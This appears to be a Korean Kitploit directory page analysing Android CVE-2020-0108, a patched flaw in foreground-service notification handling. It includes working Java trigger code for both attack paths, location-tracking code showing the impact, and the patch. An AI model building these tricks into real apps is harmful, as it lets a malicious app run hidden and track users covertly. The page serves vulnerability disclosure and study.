Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ServiceCheater — CVE-2020-0108의 PoC | Kitploit
도구/GitHubGitHub/crackercat/servicecheater
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingMobile Security
GitHubcrackercat/servicecheater

ServiceCheater

CVE-2020-0108의 PoC

저장소 보기
11136년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-0108 포그라운드 서비스 권한 상승 취약점 분석

1. 취약점 배경

  • AOSP 2020-08 패치에서 프레임워크 계층 AMS의 취약점이 공개되었으며, 번호는 CVE-2020-0108, 등급은 High입니다. AMS의 포그라운드 서비스 처리에 있는 논리적 취약점으로, 이 취약점을 성공적으로 악용한 공격자는 포그라운드 서비스의 알림 표시를 우회하고 계속해서 백그라운드에서 실행할 수 있습니다. 공격은 로컬의 악성 앱에 의해 시작되며 사용자 상호 작용이 필요하지 않습니다. 사용자가 앱에 다른 권한을 부여한 경우 위치 지속 추적이나 무음 녹음 등과 같은 더 큰 피해를 초래할 수 있습니다.

2. 취약점 세부 사항

  • 포그라운드 서비스는 Google이 Android 8.0에서 도입한 개념입니다. Android 8.0은 백그라운드에서 백그라운드 서비스를 시작하는 것을 허용하지 않기 때문에 포그라운드 서비스 개념이 설계되었습니다. 포그라운드 서비스는 우선순위가 높아 오랫동안 백그라운드에서 실행될 수 있지만, 시작 후 5초 이내에 알림을 하나 연결해야 하며 그렇지 않으면 종료됩니다. 실제로 포그라운드 서비스는 여전히 "백그라운드"에서 실행되지만, 사용자가 볼 수 있는 알림이 연결되어 있기 때문에 Google은 이를 "포그라운드 서비스"라고 부릅니다.
  • 이 취약점은 두 가지 공격 방법을 가지며, 각각 두 가지 논리적 취약점에 해당합니다.
  • 첫 번째 취약점은 NotificationManagerService의 onNotificationError 메서드가 알림 표시 중 발생하는 예외 상황을 올바르게 처리하지 못하는 것입니다.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • 이러한 경우 포그라운드 서비스가 시작된 후 알림을 올바르게 표시하지 못해도 포그라운드 서비스가 종료되지 않습니다. 예를 들어 포그라운드 서비스가 알림 생성 시 사용자 지정 레이아웃을 사용하고, RemoteViews 객체를 빌드할 때 존재하지 않는 resID 값을 전달하면 NotificationManagerService가 알림 레이아웃을 파싱할 때 실패하여 예외를 발생시키고 onNotificationError 메서드를 호출합니다. onNotificationError 메서드는 단지 cancelNotification 메서드를 호출하여 알림을 취소할 뿐 서비스나 전체 애플리케이션을 종료하지 않기 때문에, 이때 포그라운드 서비스는 알림을 표시하지 않은 채 계속 실행됩니다.
  • 두 번째 취약점은 ServiceRecord의 postNotification 메서드가 알림 표시 중 발생하는 예외 상황을 올바르게 처리하지 않고 예외를 사용자 프로그램에 던진다는 것입니다.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • 이러한 경우 포그라운드 서비스가 시작된 후 사용자 프로그램이 메인 스레드의 예외를 캐치하면 알림을 올바르게 표시하지 못해도 포그라운드 서비스가 종료되지 않습니다. 예를 들어 포그라운드 서비스가 알림 생성 시 유효하지 않은 Channel ID를 전달하면 ServiceRecord의 postNotification 메서드에서 알림을 보낼 때 예외가 발생합니다. 예외 처리 과정에서 단지 AMS의 crashApplication 메서드를 호출하여 애플리케이션에 메인 스레드 예외를 던질 뿐이지만, 애플리케이션이 메인 스레드에서 예외를 캐치하면 애플리케이션은 크래시되지 않으며, 이때 포그라운드 서비스는 알림을 표시하지 않은 채 계속 실행됩니다.

3. 취약점 검증

  • 첫 번째 취약점은 포그라운드 서비스에서 다음과 같은 코드로 트리거할 수 있습니다.
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • RemoteViews 객체를 생성할 때 Layout ID를 -1로 지정했는데, 이는 명백히 유효하지 않은 값이므로 onNotificationError 콜백을 트리거할 수 있습니다.
  • 두 번째 취약점은 포그라운드 서비스에서 다음과 같은 코드로 트리거할 수 있습니다.
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • 이번에는 NotificationChannel 객체를 생성하지 않고 유효하지 않은 Channel ID를 직접 사용하여 Notification을 구성했습니다. 이렇게 하면 postNotification 메서드의 예외를 트리거할 수 있고, 그다음 메인 스레드의 예외를 캐치하면 애플리케이션이 크래시되지 않습니다.

4. 취약점 영향

  • 이 취약점을 성공적으로 악용하면 악성 앱이 백그라운드에서 은밀히 높은 우선순위의 포그라운드 서비스를 시작하고 계속 실행할 수 있습니다.
  • 더 큰 영향은 앱이 위치 권한을 이용해 사용자를 추적하는 것입니다. 포그라운드 서비스를 사용하기 때문에 "위치 정보 접근을 전면에서만 허용"을 선택했더라도 "백그라운드"에서 위치 추적이 가능하며 사용자는 이를 인지하지 못합니다.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. 취약점 패치

  • Google은 2020-08 패치에서 이 취약점을 수정했습니다. 주요 변경 사항은 onNotificationError 콜백에서 애플리케이션을 강제로 크래시시키고, postNotification 메서드의 예외 처리에서도 애플리케이션을 강제로 크래시시키는 것입니다. crashApplication 메서드에서 force=true 강제 모드일 때 AMS는 예외가 발생한 후 5초 이내에 애플리케이션을 강제로 종료하며, 애플리케이션이 예외를 캐치한 경우에도 마찬가지입니다.
  • onNotificationError 메서드에서 crashApplication 메서드를 호출하여 애플리케이션을 크래시시키고 force=true를 설정합니다.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • postNotification 메서드의 예외 처리에서 killMisbehavingService 메서드를 호출하여 비정상 동작 서비스를 종료합니다.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • killMisbehavingService 메서드는 잠금(lock) 외에도 crashApplication 메서드를 호출합니다.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • force=true에 대한 처리는 다음과 같습니다. 예외가 발생한 후 5초 이내에 애플리케이션을 강제로 종료합니다.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
도구 다운로드